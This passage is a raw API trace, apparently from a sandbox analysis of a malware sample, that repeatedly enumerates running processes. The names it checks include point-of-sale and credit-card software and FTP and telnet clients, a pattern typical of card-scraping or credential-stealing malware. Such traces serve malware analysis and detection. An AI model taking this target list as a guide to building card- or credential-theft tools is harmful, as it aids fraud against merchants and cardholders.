lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0213.858] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0213.860] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0213.861] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0213.863] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0213.866] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0213.868] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0213.869] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0213.871] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0213.873] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0213.875] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0213.877] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0213.880] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0213.882] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0213.883] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0213.955] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0213.958] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.960] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0213.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0213.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.968] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0213.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0213.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0213.976] CloseHandle (hObject=0x11c8) returned 1 [0213.976] Sleep (dwMilliseconds=0x64) [0213.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0213.990] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.992] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.994] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.995] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.997] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.999] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.001] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.003] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.004] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.006] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.008] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.010] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.013] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.015] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.017] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.019] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.023] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.027] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.030] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.032] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.034] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.036] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0214.037] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.039] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.041] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.043] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0214.045] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.046] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.048] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0214.050] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.052] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0214.053] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0214.055] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0214.057] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0214.058] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0214.062] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0214.064] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0214.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0214.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0214.201] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0214.203] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0214.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0214.207] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0214.209] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0214.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0214.213] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0214.215] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0214.216] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0214.218] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0214.219] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0214.222] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0214.224] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0214.226] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0214.228] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0214.231] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0214.234] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 